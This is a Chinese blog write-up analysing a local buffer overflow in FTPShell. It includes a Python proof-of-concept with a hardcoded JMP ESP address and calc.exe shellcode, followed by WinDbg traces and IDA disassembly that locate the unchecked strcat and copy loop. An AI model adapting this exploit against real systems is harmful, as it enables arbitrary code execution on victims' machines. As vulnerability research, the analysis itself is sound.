作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/35f21b909eaeb43b12869f595e3b6ca6-ftpsetup.exe
PoC:
#!/usr/bin/python
filename = "buffer.txt"
# Junk A
junk = "A"*452
#77FAB277 JMP ESP
# Windows Xp Professional Version 2002 Service Pack 3
eip = "\x77\xB2\xFA\x77"
# Nops
nops = "\x90"*100
# Shellcode Calc.exe 16Byte
buf=("\x31\xC9"
"\x51"
"\x68\x63\x61\x6C\x63"
"\x54"
"\xB8\xC7\x93\xC2\x77"
"\xFF\xD0")
#Appending Buffers Together
exploit = junk + eip + nops + buf
#Creating File
length = len(exploit)
print "[+]File name: [%s]\n" % filename
print "[+]Payload Size: [%s]\n " % length
print "[+]File Created.\n"
file = open(filename,"w")
file.write(exploit)
file.close
print exploit
这是在FTPShell的一个本地代码执行漏洞,利用PoC会生成一个buffer.txt,用UE打开,复制buffer.txt里的文本,之后打开FTPShell,在菜单中选文件,然后创建文件,会弹出一个对话框,在对话框里粘贴复制的文本,确定后漏洞触发,这里可以将buffer.txt中畸形数据的内容改成"A"*600,可以比较稳定触发漏洞。
漏洞复现
此漏洞是由于FTPShell中的sub_42D23C函数,在调用strcat时会进行一次字符串拼接组成一个完整路径,在进行字符串拼接前后,没有对文件名进行合法性检查,导致拼接完成后,在后续的sub_464A20函数调用后,会在函数内部进行一次字符串赋值,因为没有检查长度,因此在赋值后会导致缓冲区被覆盖,返回地址被覆盖从而使返回地址可控,可接管程序流程,下面对此漏洞进行详细分析。
首先触发漏洞,附加windbg,到达崩溃现场
0:000> g
(3b0.390): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00df4cd0 ecx=00000392 edx=00000392 esi=00dc36c8 edi=0012fa78
eip=41414141 esp=0012fa3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
通过kb查看堆栈调用
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fa38 41414141 41414141 41414141 41414141 0x41414141
0012fa3c 41414141 41414141 41414141 41414141 0x41414141
0012fa40 41414141 41414141 41414141 41414141 0x41414141
0012fa44 41414141 41414141 41414141 41414141 0x41414141
0012fa48 41414141 41414141 41414141 41414141 0x41414141
0012fa4c 41414141 41414141 41414141 41414141 0x41414141
0012fa50 41414141 41414141 41414141 41414141 0x41414141
0012fa54 41414141 41414141 41414141 41414141 0x41414141
0012fa58 41414141 41414141 41414141 41414141 0x41414141
0012fa5c 41414141 41414141 41414141 41414141 0x41414141
可以看到此时堆栈已经被冲垮了,我们可以缩短畸形字符串长度来减少栈被冲垮的部分,从而对之前的函数调用进行回溯,减少畸形字符串长度之后,重新打开程序,再次崩溃。
0:008> g
(1ac.4b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00df5518 ecx=0012fa4c edx=00000314 esi=00dc36c8 edi=0012fa78
eip=0042d415 esp=0012fa40 ebp=00004141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\FTPShell\ftpshell.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\FTPShell\ftpshell.exe -
ftpshell!Tb2extitemsinitialization$qqrv+0x18c51:
0042d415 8b55cc mov edx,dword ptr [ebp-34h] ss:0023:0000410d=????????
注意观察此时ebp的值是00004141,其实这里应该是漏洞触发函数之后,应该是在此层函数调用中,有一个内层函数的调用,而就是在那个函数调用的位置发生了缓冲区溢出,导致返回外层函数,也就是现在这个漏洞崩溃现场的ret指令时,由于返回地址被覆盖,从而导致了溢出。
因此,我们可以从0042d415这个地址所在的函数中寻找漏洞触发点。
漏洞分析
通过IDA Pro回溯此层函数sub_42D23C,找到了一个执行区间,loc_42D35A,离漏洞触发位置不远,实际上,这个寻找过程需要从sub_42D23C入口处下断点,不断调整找到的,这里我省略了重复的过程。
.text:0042D35A loc_42D35A: ; CODE XREF: sub_42D23C+10Dj
.text:0042D35A mov eax, [esi]
.text:0042D35C push esi
.text:0042D35D add eax, 150h
.text:0042D362 lea esi, [ebp+dest]
.text:0042D368 mov edi, eax
.text:0042D36A xor eax, eax
.text:0042D36C or ecx, 0FFFFFFFFh
.text:0042D36F repne scasb
.text:0042D371 not ecx
.text:0042D373 sub edi, ecx
接下来,我们在0042D35A下断点,重新触发漏洞,命中断点后跟踪。
0:008> bp 0042D35A
*** WARNING: Unable to verify checksum for C:\Program Files\FTPShell\ftpshell.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\FTPShell\ftpshell.exe -
0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00df54e0 ecx=00000000 edx=0075bbc0 esi=00dc36c8 edi=00df54e0
eip=0042d35a esp=0012fa40 ebp=0012fd94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ftpshell!Tb2extitemsinitialization$qqrv+0x18b96:
0042d35a 8b06 mov eax,dword ptr [esi] ds:0023:00dc36c8=00e1aee4
可以看到在入口处,并没有涉及到漏洞的畸形字符串的赋值和漏洞触发的原因,我们需要准确分析为什么会产生漏洞和产生漏洞的位置。接下来我们单步跟踪。
0:000> t
eax=00000000 ebx=00df54e0 ecx=fffffffa edx=0075bbc0 esi=0012fa4c edi=00e1b039
eip=0042d36f esp=0012fa3c ebp=0012fd94 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210286
ftpshell!Tb2extitemsinitialization$qqrv+0x18bab:
0042d36f f2ae repne scas byte ptr es:[edi]
0:000> dc edi
00e1b039 656d7563 2073746e 20646e61 74746553 cuments and Sett
00e1b049 73676e69 6f6f725c 794d5c74 636f4420 ings\root\My Doc
00e1b059 6e656d75 00007374 00000000 00000000 uments.
可以看到此处有一处循环赋值操作,可以看到edi中存放的值是一个绝对路径,前面C:\D之所以没有是因为我执行了两次,导致前面的值已经被赋值了,那么接下来继续单步跟踪。
0:000> t
eax=0012fa4c ebx=00df54c8 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0042d3b7 esp=0012fa38 ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf3:
0042d3b7 e8e0512400 call ftpshell!Tbskinplusinitialization$qqrv+0x6e688 (0067259c)
0:000> t
eax=0012fa4c ebx=00df54c8 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0067259c esp=0012fa34 ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Tbskinplusinitialization$qqrv+0x6e688:
0067259c 55 push ebp
0:000> gu
eax=0012fa4c ebx=00df54c8 ecx=00000000 edx=00000169 esi=00dc36c8 edi=0012fa78
eip=0042d3bc esp=0012fa38 ebp=0012fd94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf8:
0042d3bc 83c408 add esp,8
0:000> dd eax
0012fa4c 445c3a43 6d75636f 73746e65 646e6120
0012fa5c 74655320 676e6974 6f725c73 4d5c746f
0012fa6c 6f442079 656d7563 5c73746e 41414141
0012fa7c 41414141 41414141 41414141 41414141
0012fa8c 41414141 41414141 41414141 41414141
0012fa9c 41414141 41414141 41414141 41414141
0012faac 41414141 41414141 41414141 41414141
0012fabc 41414141 41414141 41414141 41414141
可以看到,当0042d3b7处的call函数调用后,我们观察eax的值已经变成了畸形字符串,那么初步判定,0042d3b7处的call函数是产生畸形字符串的原因,接下来继续单步跟踪。
0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=0042d3c5 esp=0012fa40 ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18c01:
0042d3c5 52 push edx
0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=0042d3c6 esp=0012fa3c ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18c02:
0042d3c6 e855760300 call ftpshell!Rcgui_mainFinalize+0x22d50 (00464a20)
0:000> t
eax=0012fa4c ebx=00df54e0 ecx=00000000 edx=0012fa4c esi=00dc36c8 edi=0012fa78
eip=00464a20 esp=0012fa38 ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Rcgui_mainFinalize+0x22d50:
00464a20 55 push ebp
0:000> gu
eax=00000001 ebx=00df54e0 ecx=00000314 edx=00000314 esi=00dc36c8 edi=0012fa78
eip=0042d3cb esp=0012fa3c ebp=00004141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ftpshell!Tb2extitemsinitialization$qqrv+0x18c07:
0042d3cb 59 pop ecx
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa38 0012fa4c 0012fe50 00cc0dc0 00dbaad0 ftpshell!Tb2extitemsinitialization$qqrv+0x18c07
0012fa3c 0012fe50 00cc0dc0 00dbaad0 445c3a43 0x12fa4c
0012fa4c 6d75636f 73746e65 646e6120 74655320 0x12fe50
0012fa50 73746e65 646e6120 74655320 676e6974 0x6d75636f
0012fa54 646e6120 74655320 676e6974 6f725c73 0x73746e65
0012fa58 74655320 676e6974 6f725c73 4d5c746f 0x646e6120
0012fa5c 676e6974 6f725c73 4d5c746f 6f442079 0x74655320
0012fa60 6f725c73 4d5c746f 6f442079 656d7563 0x676e6974
0012fa64 4d5c746f 6f442079 656d7563 5c73746e 0x6f725c73
0012fa68 6f442079 656d7563 5c73746e 41414141 0x4d5c746f
0012fa6c 656d7563 5c73746e 41414141 41414141 0x6f442079
0012fa70 5c73746e 41414141 41414141 41414141 0x656d7563
0012fa74 41414141 41414141 41414141 41414141 0x5c73746e
0012fa78 41414141 41414141 41414141 41414141 0x41414141
0012fa7c 41414141 41414141 41414141 41414141 0x41414141
0012fa80 41414141 41414141 41414141 41414141 0x41414141
0012fa84 41414141 41414141 41414141 41414141 0x41414141
0012fa88 41414141 41414141 41414141 41414141 0x41414141
可以看到0042d3c6处的call函数调用结束后,ebp的值变成了00004141,那么实际上这里的call函数很有可能就是覆盖返回地址的函数,只是这里由于我减少了畸形字符串的长度,从而导致没有覆盖返回地址,正常情况下,通过这里的返回地址覆盖,就可以执行任意代码了,那么接下来我们就来看一下这两处关键的call调用。
在重启程序之前,我们需要加长畸形字符串长度,这样能确保在漏洞触发现场覆盖返回地址,接下来我们来到第一处call函数中断,来看一下这处call函数调用。
.text:0067259C ; Attributes: library function bp-based frame
.text:0067259C
.text:0067259C ; char *__cdecl strcat(char *dest, const char *src)
.text:0067259C _strcat proc near ; CODE XREF: sub_4151E8+915p
.text:0067259C ; sub_4151E8+926p ...
.text:0067259C
.text:0067259C dest = dword ptr 8
.text:0067259C src = dword ptr 0Ch
.text:0067259C
.text:0067259C push ebp
.text:0067259D mov ebp, esp
.text:0067259F push esi
.text:006725A0 push edi
.text:006725A1 mov edi, [ebp+dest]
.text:006725A4 mov ecx, 0FFFFFFFFh
.text:006725A9 xor al, al
.text:006725AB cld
.text:006725AC repne scasb
.text:006725AE lea esi, [edi-1]
.text:006725B1 mov edi, [ebp+src]
.text:006725B4 mov ecx, 0FFFFFFFFh
.text:006725B9 repne scasb
.text:006725BB not ecx
.text:006725BD sub edi, ecx
.text:006725BF xchg esi, edi
.text:006725C1 mov edx, ecx
.text:006725C3 shr ecx, 1
.text:006725C5 shr ecx, 1
.text:006725C7 cld
.text:006725C8 rep movsd
.text:006725CA mov ecx, edx
.text:006725CC and ecx, 3
.text:006725CF rep movsb
.text:006725D1 mov eax, [ebp+dest]
.text:006725D4 pop edi
.text:006725D5 pop esi
.text:006725D6 pop ebp
可以看到这处call函数调用实际是自己写的一个strcat函数,也就是字符串拼接,它会将src拼接到dest字符串后面,这样的话我们在函数调用处看一下两个地址保存的内容。
0:008> g
Breakpoint 0 hit
eax=0012fa4c ebx=00df5044 ecx=0012fbd4 edx=00000002 esi=00dc36c8 edi=0012fa78
eip=0042d3b7 esp=0012fa38 ebp=0012fd94 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ftpshell!Tb2extitemsinitialization$qqrv+0x18bf3:
0042d3b7 e8e0512400 call ftpshell!Tbskinplusinitialization$qqrv+0x6e688 (0067259c)
0:000> dd esp
0012fa38 0012fa4c 0012fbd4 0012fe50 00cc0dc0
0012fa48 00dbaad0 445c3a43 6d75636f 73746e65
0012fa58 646e6120 74655320 676e6974 6f725c73
0012fa68 4d5c746f 6f442079 656d7563 5c73746e
0012fa78 00010000 00000005 0012f9dc 80000000
0012fa88 0012fc00 7c92e900 7c930040 ffffffff
0012fa98 7c93003d 77d2e65c 00140000 00000000
0012faa8 0016ff80 0012fdd8 00db8644 005fb0f4
0:000> dd 0012fbd4
0012fbd4 41414141 41414141 41414141 41414141
0012fbe4 41414141 41414141 41414141 41414141
0012fbf4 41414141 41414141 41414141 41414141
0012fc04 41414141 41414141 41414141 41414141
0012fc14 41414141 41414141 41414141 41414141
0012fc24 41414141 41414141 41414141 41414141
0012fc34 41414141 41414141 41414141 41414141
0012fc44 41414141 41414141 41414141 41414141
0:000> dc 0012fa4c
0012fa4c 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
0012fa5c 74655320 676e6974 6f725c73 4d5c746f Settings\root\M
0012fa6c 6f442079 656d7563 5c73746e 00010000 y Documents\....
0012fa7c 00000005 0012f9dc 80000000 0012fc00 ................
可以看到,esp+4位置保存的第二个参数就是畸形字符串AAAA,而第一个参数就是路径,也就是说,这里会将畸形字符串拼接到路径后面组成一个完整的绝对路径。
那么接下来我们重点跟一下漏洞触发的函数sub_464A20,在函数中,我们发现了一处循环赋值操作。
0:000> t
eax=00000044 ebx=0012f8af ecx=0012f83a edx=0000005c esi=0012f5e7 edi=00000000
eip=00464a97 esp=0012f5d8 ebp=0012fa34 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200297
ftpshell!Rcgui_mainFinalize+0x22dc7:
00464a97 7549 jne ftpshell!Rcgui_mainFinalize+0x22e12 (00464ae2) [br=1]
0:000> t
eax=00000044 ebx=0012f8af ecx=0012f83a edx=0000005c esi=0012f5e7 edi=00000000
eip=00464ae2 esp=0012f5d8 ebp=0012fa34 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200297
ftpshell!Rcgui_mainFinalize+0x22e12:
00464ae2 8a0b mov cl,byte ptr [ebx] ds:0023:0012f8af=44
0:000> dd ebx
0012f8af 75636f44 746e656d 6e612073 65532064
0012f8bf 6e697474 725c7367 5c746f6f 4420794d
0012f8cf 6d75636f 73746e65 4141415c 41414141
0012f8df 41414141 41414141 41414141 41414141
0012f8ef 41414141 41414141 41414141 41414141
0012f8ff 41414141 41414141 41414141 41414141
0012f90f 41414141 41414141 41414141 41414141
就是这处赋值操作,会将畸形字符串两个字节一组拷贝到目标缓冲区,而在此前没有进行任何检查,跳过这个循环,直接到达函数末尾,观察寄存器。
0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b33 esp=0012f5e4 ebp=0012fa34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e63:
00464b33 8be5 mov esp,ebp
0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b35 esp=0012fa34 ebp=0012fa34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e65:
00464b35 5d pop ebp
0:000> p
eax=00000001 ebx=00ddcc64 ecx=00000328 edx=00000328 esi=00dc36c8 edi=0012fa78
eip=00464b36 esp=0012fa38 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ftpshell!Rcgui_mainFinalize+0x22e66:
00464b36 c3 ret
0:000> dd esp
0012fa38 41414141 41414141 0012fe00 00cc0dc0
0012fa48 00dbaad0 445c3a43 6d75636f 73746e65
0012fa58 646e6120 74655320 676e6974 6f725c73
0012fa68 4d5c746f 6f442079 656d7563 5c73746e
0012fa78 41414141 41414141 41414141 41414141
0012fa88 41414141 41414141 41414141 41414141
0012fa98 41414141 41414141 41414141 41414141
0012faa8 41414141 41414141 41414141 41414141
0:000> dd ebp
41414141 ???????? ???????? ???????? ????????
41414151 ???????? ???????? ???????? ????????
41414161 ???????? ???????? ???????? ????????
41414171 ???????? ???????? ???????? ????????
41414181 ???????? ???????? ???????? ????????
41414191 ???????? ???????? ???????? ????????
可以看到函数末尾ebp和返回地址均被覆盖,返回后会到达shellcode位置。
那么接下来我们可以通过IDA的伪代码来重新梳理整个过程。首先是strcat会将畸形字符串和路径拼接成一个绝对路径。
char *__cdecl strcat(char *dest, const char *src)
{
strcat(dest, src);
return dest;
}
接下来程序会调用sub_464A20函数,首先函数会到达一个循环赋值的位置。
while ( *v2 )
{
if ( *v2 == 92 )
{
*v1 = 0;
if ( v3 <= 0 )
{
v4 = FindFirstFileA(&FileName, &FindFileData);
if ( v4 == (HANDLE)-1 )
{
if ( !CreateDirectoryA(&FileName, 0) )
return 1;
}
else
{
FindClose(v4);
}
}
else
{
--v3;
}
*v1 = *v2;
}
else
{
*v1 = *v2;
}
++v2;
++v1;
}
赋值结束后导致缓冲区被覆盖,产生缓冲区溢出,而在这整个过程中,并没有对路径长度进行有效的检查。
向大佬学习!
在哪里创建文件??没有找到弹框啊